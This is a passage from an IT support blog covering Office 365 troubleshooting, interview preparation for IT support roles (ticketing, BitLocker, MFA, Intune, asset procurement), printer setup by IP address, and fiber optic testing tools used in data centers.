Delete the contents of the Cache folder
Restart OneNote
3. Reinstall Office 365
If clearing the cache and online repair don’t resolve the issue, you may need to reinstall Office.Steps:
Open Settings > Installed apps
Locate Microsoft Office and select “Uninstall”
Download Office 365 again from the official website
Install and follow the setup instructions
4. Reimage the Laptop (Last Resort)
If the above steps do not resolve the issue, reimaging the laptop might be necessary.Steps:
Backup your important files and data on OneDrive
Reimage your laptop by following the company’s reimaging process (e.g., using a company bootable USB or Intune Autopilot wipe)
Reinstall Office 365 and any other necessary applications

How to ace the IT Support Interview with 21 questions with hands-on experience.

Techie-stronaut — Wed, 11 Sep 2024 07:17:07 GMT

Introduction
Hi, I’m ~~~. I’m an IT Support with a wealth of experience in user support and IT asset management. While working at ~~, I developed my skills in Office 365 support, network troubleshooting, documentation, and process automation utilizing Python.
I have been committed to providing the best possible technical support, which has ensured smooth system operations and increased user satisfaction. I have also contributed to enhancing work efficiency through detailed documentation and Python automation. I look forward to adding my expertise to the team here, and together we can drive better results.
My Strengths and Weaknesses
Strengths:
One of my key strengths is my commitment to enhancing operational efficiency through process automation and detailed documentation. During my previous roles, I developed Python-based automation tools to streamline repetitive tasks and improve accuracy. My focus on documentation has ensured that processes are well-defined and easily replicable, contributing to a more efficient IT environment.
Weaknesses:
In the past, I hesitated to share the automation tools and documentation I created with my team, as I was afraid of receiving feedback. This was a mistake, as I now recognize that feedback is invaluable in improving the quality and effectiveness of my work. Moving forward, I am committed to actively sharing my work with the team to foster collaboration, improve efficiency, and continuously enhance the tools I develop. In this role, I plan to embrace feedback to ensure that the solutions I implement are optimized for the team’s success.
What i can learn with this company or what else i can be improved (same as weaknesses)
In the past, I hesitated to share the automation tools and documentation I created with my team, as I was afraid of receiving feedback. This was a mistake, as I now recognize that feedback is invaluable in improving the quality and effectiveness of my work. Moving forward, I am committed to actively sharing my work with the team to foster collaboration, improve efficiency, and continuously enhance the tools I develop. In this role, I plan to embrace feedback to ensure that the solutions I implement are optimized for the team’s success.
1. Ticketing Experience and Prioritization
Ticket Prioritization: Urgent Medium Low
Urgent (VIP or Team Level): These tickets receive immediate attention as they affect (VIPs) or entire teams. Even if the priority is marked medium but involves a VIP, it is treated as urgent.
Medium (Individual Level or Few Users): Issues affecting one or a few users are handled in the standard workflow. These issues may not be critical but are given timely attention based on the user’s needs.
Low (Individual Level): Non-critical matters like inquiries about future laptop replacements or minor issues fall into this category. These are addressed after higher-priority tasks.
For issues impacting a larger group (e.g., CrowdStrike alerts), they are escalated to Urgent and treated as a priority due to the widespread impact.
2. Ticket Management Process:
At first Interaction Tickets: These are handled by the global IT team and serve as the first step in addressing the user’s issue.
Incident Tickets: If the global team cannot resolve the issue or local IT support is needed, the ticket is escalated to an “Incident” level.
Once a ticket is generated (usually notified via Outlook), you move the status to Work in Progress, contact the user, and work on resolving the issue.
If the user does not respond, the status is changed to Awaiting Customer Feedback, and the process is paused until the user replies.
2. Identifying the Cause of a Blue Screen
Tools for Diagnosis:
Error Code & Event Viewer: Use the error code displayed during the blue screen and check the Event Viewer for detailed logs to determine whether the issue is software or hardware-related.
For example, in a CrowdStrike incident, the error code helped you narrow down the issue.
Commands:
sfc /scannow: Checks the integrity of the system files and repairs any corrupted files.
chkdsk /r /f C:: Scans for bad sectors on the disk and attempts to repair them.
3. BitLocker Functionality and Passcode Retrieval
Retrieving the BitLocker Key:
Steps:
Activate the BitLocker role in Microsoft Entra Privileged Identity Management.
Navigate to Devices > BitLocker Keys and retrieve the key by entering it from the BitLocker recovery screen.
If the recovery mode persists, restart the system and try the key again.
Documentation:
I’ve written blog posts on how to retrieve, renew, and manage BitLocker keys, including how to stop and restart BitLocker in case of issues.
4. Multi-Factor Authentication (MFA)
Definition:
MFA is a security process requiring multiple authentication methods from independent categories to verify a user’s identity.
Types of MFA:
Knowledge (Something You Know): Passwords or security questions.
Possession (Something You Have): Security tokens, smartphones with authenticator apps, or USB keys.
Inherence (Something You Are): Biometrics like fingerprint or facial recognition.
Location (Somewhere You Are): Authentication based on geographic location, often determined by network address or GPS.
MFA Tools:
Hardware Security Keys, Microsoft Authenticator, Google Authenticator, etc.
Importance: Essential for securing accounts, reducing the risk of unauthorized access, and protecting resources like cloud services (e.g., AWS).
5. What is Master Data Management (MDM)?
Definition:
MDM ensures a unified view of an entity (e.g., person, place, or thing) across various platforms and databases, which is critical for personalized experiences and regulatory compliance.
Example:
Identifying the same individual across different applications (e.g., Jane Doe, J.D. Smith, Janet D.) and unifying their data for accurate service delivery.
Importance:
Helps businesses provide personalized services and maintain compliance with data regulations, regardless of data storage location.
6. Reimaging Devices
Method:
Utilize Rufus to download and extract ISO files onto a USB drive for reimaging public laptops. For company laptops, extract company-specific ISO files from the network folder and reimage using a dedicated USB.
New Company laptops used Intune Autopilot for deployment.
If reimaging an Autopilot-registered device, I follow these steps:
Log in to the Microsoft Intune Admin Center.
Navigate to Devices > All Devices.
Select the specific device to reset.
Click Wipe and follow the instructions to confirm the reset process.
7. Onboarding and Offboarding Process
Onboarding:
Accurately record asset details in Excel (e.g., capture date, warranty, expiration, serial number, express code, and user ID).
Allocated Laptops use Intune Autopilot, ensuring smooth integration with the organization’s system.
For contingent workers receiving used laptops, reimage the device using the pre-extracted ISO from the network folder.
Attach a green post-it note inside the laptop with the user’s ID and temporary password.
Provide the user with a translated Intune Autopilot manual in Korean, and offer support during setup.
Offboarding:
When employees return their laptops, update the asset tracking Excel sheet with relevant data, including marking the user as a former employee.
Attach a red post-it note with the employee’s name and user ID inside the returned laptop for clarity.
8. VIP Support
Example:
Assisted a VIP who was unable to access a website due to ZScaler blocking it. By inspecting the network traffic with F12 tools, I identified the issue and escalated it to the ZScaler team for resolution.
9. Meeting Room Support
Supported Platforms:
Microsoft Teams and Zoom.
Authored blog posts on useful shortcuts and how to invite external guests without a Microsoft Teams license.
10. Experience in Supporting Mac Devices
Experience:
Over a year of experience with Mac devices, including troubleshooting and resolving macOS issues.
Documented solutions on my blog, such as fixing MySQL server connection errors on macOS.
Regular use of Homebrew for managing packages and familiarity with advanced macOS functionalities
11. Software Center and Software Installation
Using SCCM (System Center Configuration Manager):
Deploy software to users’ machines through the Software Center, which simplifies the installation process for company-approved applications.
12. Experience with Different Operating Systems
Operating Systems:
Proficient in Windows, macOS, and Linux (Ubuntu 22).
Experience adapting to Unix commands and dual-booting (Linux and Windows).
Wrote introductory guides and documentation on Mac and Linux configuration.
13. Prioritizing and Managing Tasks with Multiple Support Tickets
Priority Criteria:
Issues affecting multiple users or entire teams are prioritized higher than those affecting a single user.
Network Issue Troubleshooting Guide
Reset TCP/IP Stack and DNS Cache:
Open Command Prompt as Administrator.
Run the following commands one by one:
netsh winsock reset
netsh int ip reset
ipconfig /release
ipconfig /renew
ipconfig /flushdns
2. Uninstall and Reinstall Network Adapter Driver:
Download the latest driver from the manufacturer’s website (use another PC if needed).
Open Device Manager, find your network adapter, right-click, and choose Uninstall device.
Restart your PC. Windows should reinstall the driver automatically. If not, install it manually.
3. Check Windows Update Compatibility:
Uninstall any recent updates causing issues:
Go to Settings > Windows Update > Update history and uninstall the latest update.
Update the network adapter driver via Device Manager.
4. Network Reset (Last Resort):
Go to Settings > Network & internet > Advanced network settings > Network reset.
Click Reset now and restart your PC.
15. VPN (Virtual Private Network)
Definition:
A secure network that allows users to connect to a company’s internal network remotely.
Examples: Ivanti VPN Secure Access, which I have experience using for accessing company resources like NAS drives or using remote access tools like Microsoft Remote Assistance (MSRA).
16. Experience with Microsoft Active Directory (AD)
Active Directory is a directory service that helps administrators manage permissions and control access to network resources.
File Permissions: Managed user file access by assigning permissions through Active Directory, ensuring appropriate access levels for files and folders.
DHCP Configuration: Configured and managed DHCP settings within Active Directory to streamline IP address allocation and management across the network.
17. How do you manage asset
Experience: To manage IT assets, we use an Excel file where we track laptops and iPads. This file includes details like capture date, hardware warranty, and expiration date. We highlight laptops under legal hold in red to easily identify them.
18. How do you procure a hardware asset (e.g., a laptop or monitor)?
Laptop Procurement:
Submit a hardware asset request to the APAC team.
Obtain the WBS code for purchase.
Purchase the laptop.
Once the laptop arrives, record it in the Hardware Asset Recorder, which syncs with the ServiceNow laptop list.
Record it in the Korean asset Excel file.
Request the asset number using the serial number.
Attach the asset number sticker to the laptop
Handover the laptop to the user.
Monitor or Other Hardware:
Get manager approval first.
Submit a hardware asset request to the APAC team.
Obtain the WBS code for purchase.
Follow the same process as the laptop: purchase, record, and label.
19. What is the hardware repair process?
Under Warranty:
Contact the Dell engineer using the warranty details for repair.
Out of Warranty:
Get manager approval.
Generate a quotation from Dell.
Create a purchase order in the Ariba portal.
Contact Dell engineer to proceed with the repair
20. Printer Setup Guide
Open Control Panel:
Press Windows + I to open Settings.
Go to Bluetooth & devices > Printers & Scanners.
2. Add a New Printer:
Click Add device.
If your printer isn’t listed, select The printer that I want isn’t listed and add it manually.
3. Configure Printer Connection:
Choose Add a printer using an IP address or hostname.
Select TCP/IP Device.
Enter the printer’s hostname or IP address, then click Connect.
4. Install Printer Driver:
Follow the prompts to install the driver.
Select the printer’s manufacturer (e.g., HP) and choose the latest driver version.
5. Finalize Setup:
Rename the printer (optional) and complete the installation.
Click Print test page to ensure the printer works.
21. How do you troubleshoot O365 issues?
Perform an O365 Online Repair
First, I run an online repair through the Installed Apps section to ensure the application suite is restored without losing user settings. This process often resolves common issues like crashes or missing features.
2. Clear the Cache
If the repair doesn’t resolve the issue, I clear the cache for individual Office applications like Outlook, Teams, or OneDrive. This helps resolve performance and synchronization issues that arise from corrupted cache files.
3. Reinstall Office 365
If the problem persists, I perform a complete reinstall of Office 365, ensuring all remnants of the previous installation are removed before reinstalling the latest version from the official source.
4. Reimage the Device (Last Resort)
As a final step, if none of the above methods work, I proceed with reimaging the device, which restores the system to its factory settings. This is a last resort and only done after backing up important data.

Printer Setup with IP address Guide

Techie-stronaut — Wed, 11 Sep 2024 06:24:06 GMT

Printer Setup using IP address Guide
Opening Control Panel
Open the Settings. (Using Windows + I)
Click on Bluetooth & devices.
Select Printers & Scanners.
Adding a New Printer
Click on Add device.
If your printer is not listed, select The printer that I want isn’t listed and Add manually.
Choose Add a printer using an IP address or hostname.
Configuring Printer Connection
Select TCP/IP Device as the device type.
Enter the printer’s hostname. If unsuccessful, try using its IP address.
Click Connect to add the printer.
Add printer with Random IP. you can replace this with your genuine printer IP address
Installing Printer Driver
Click Next to proceed with driver installation.
Select the manufacturer of your printer.
Choose the latest version of your driver.
Click Replace to update the driver if prompted.
The Manufacturer is HP so we choose so
Finalizing Setup
Rename the printer to Whatever you want. and click next to Installing the Printer driver.
Click Print test page to verify that the printer is functioning correctly.

Essential Tools for Testing and Maintaining Fiber Optic Cables in Data Centers

Techie-stronaut — Wed, 21 Aug 2024 03:46:07 GMT

Essential Tools for Testing and Maintaining Fiber Optic Cables in Data Centers
Fiber optic cables are the backbone of modern data centers, enabling the high-speed data transfer that businesses and organizations rely on. To ensure these cables perform optimally, a set of specialized tools is crucial for testing, troubleshooting, and maintenance. Among the most essential are the Optical Time-Domain Reflectometer (OTDR), the Light Source and Power Meter (LSPM), and the Visual Fault Locator (VFL). Each of these tools plays a distinct role in maintaining the integrity and performance of fiber optic networks.
Optical Time-Domain Reflectometer (OTDR)
The OTDR is a powerful, high-precision instrument designed to evaluate the health of fiber optic cables. By emitting high-powered light pulses into the fiber and analyzing the light that is scattered or reflected back, the OTDR provides a comprehensive analysis of the fiber link.
Key Functions of OTDR:
Fault Location: OTDRs excel at pinpointing the exact location of faults within the fiber optic cable, such as breaks, bends, splices, and poor connections, making them indispensable for troubleshooting.
Graphical Analysis: They offer a detailed graphical representation of the fiber link, highlighting the location and severity of any faults. This visual analysis aids technicians in quickly diagnosing and addressing issues.
Measurement of Loss: OTDRs measure insertion loss and reflectance, offering deep insights into the cable’s performance, including total optical return loss and link length.
Comprehensive Testing: OTDRs are considered the gold standard for fiber optic testing, capable of assessing a wide range of parameters. However, they are typically used for Tier 2 testing, which involves more detailed analysis compared to the more basic Tier 1 testing.
While OTDRs are highly effective, they are also more expensive and require specialized knowledge to operate effectively. Their use is crucial in scenarios where detailed analysis and precise fault location are necessary.
Procedure for Using a Fostech OTDR
To ensure accurate and reliable results when using a Fostech OTDR for fiber optic testing, it’s essential to follow a systematic procedure. Below is an enhanced guide to effectively operate the OTDR and interpret the results.
Step 1: Prepare the Fiber Optic Cable
Clean the Connector: Before connecting the fiber optic cable to the OTDR, it’s crucial to clean the connector’s surface. Use a Fiber Optic Cleaner Pen to remove any dust, oil, or debris. This step is vital to prevent signal loss and ensure the accuracy of the test results.
Inspect the Connector: After cleaning, inspect the connector under a fiber microscope to ensure it is free from contaminants or damage. A clean and intact connector is essential for accurate testing.
Step 2: Connect the Cable to the OTDR
Secure the Connection: Carefully connect the cleaned and inspected fiber optic cable to the OTDR’s input port. Ensure the connection is secure and free of any strain or bends that could affect the test accuracy.
Set Up the OTDR: Power on the Fostech OTDR and select the appropriate testing mode based on the specific requirements of the fiber link you are evaluating.
Step 3: Execute the Test
Initiate the Test: Press the Auto button on the OTDR to begin the test. The OTDR will automatically send high-powered light pulses into the fiber and begin analyzing the backscattered and reflected light.
Monitor the Test Progress: The OTDR will display a real-time trace of the fiber link as the test progresses. Observe the graphical representation for any immediate signs of faults such as spikes or dips in the trace, which indicate reflections or losses.
Step 4: Analyze the Results
Review the Average Loss: Once the test is complete, the OTDR will calculate the average loss across the fiber link. Examine the reported loss values and compare them against standard thresholds to determine if they are within acceptable limits.
Step 5: Document and Address Findings
Save and Document the Results: Save the OTDR test results for future reference. Proper documentation helps in tracking the fiber link’s performance over time and aids in troubleshooting recurring issues.
Light Source and Power Meter (LSPM)
The Light Source and Power Meter (LSPM) is a simpler yet essential tool for measuring power loss in fiber optic cables. It consists of two components: a light source and a power meter, which work together to verify signal strength and network performance.
Key Functions of LSPM:
Power Measurement: The LSPM measures the optical power at the end of a fiber link, ensuring that the network operates within the specified power budget, which is critical for efficient data transmission.
Loss Assessment: It is used to test for power loss within the network, providing a quick and accurate assessment of the cable’s condition. This is crucial for maintaining network efficiency and preventing data loss.
Installation and Maintenance: LSPMs are integral to the installation and ongoing maintenance of fiber optic networks, ensuring they meet performance standards and continue to function effectively.
While LSPMs do not offer the in-depth analysis capabilities of OTDRs, they are quicker and easier to use, making them ideal for basic loss measurements and Tier 1 testing.
Visual Fault Locator (VFL)
The Visual Fault Locator (VFL) is a straightforward yet highly effective tool for identifying faults in fiber optic cables. By sending a visible red light through the fiber, the VFL allows technicians to quickly locate breaks or bends in the cable.
Key Functions of VFL:
Quick Identification: VFLs are perfect for rapidly identifying faults in short or exposed lengths of fiber, such as those found in patch panels or server rooms. This makes them an invaluable tool for quick troubleshooting tasks.
Ease of Use: With its simple operation, the VFL requires minimal training, making it a convenient tool for technicians of all experience levels. It is particularly useful for basic troubleshooting when time is of the essence.
Limitations: While effective for short cable runs and exposed fibers, VFLs are not suitable for long-distance testing or for providing detailed analysis of the fiber’s overall condition.
Conclusion
In the complex environment of data centers, where the performance and reliability of fiber optic networks are paramount, having the right tools is essential. The OTDR, LSPM, and VFL each bring unique strengths to the table. The OTDR offers comprehensive fault analysis and detailed graphical representations of the fiber link. The LSPM provides quick and accurate power and loss measurements, ideal for routine maintenance. The VFL offers an easy-to-use solution for immediate fault detection in accessible fiber runs.
Together, these tools form a comprehensive toolkit that ensures fiber optic networks are maintained to the highest standards, supporting the critical data needs of modern businesses. By leveraging the strengths of each tool, technicians can efficiently diagnose, troubleshoot, and maintain fiber optic networks, ensuring maximum uptime and optimal performance.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Reference
Troubleshooting Fiber
https://medium.com/media/7f72b31a6de2cdf01c8e41fe1170cb5a/href https://medium.com/media/b694b7909df96344e9ad8df855add81a/href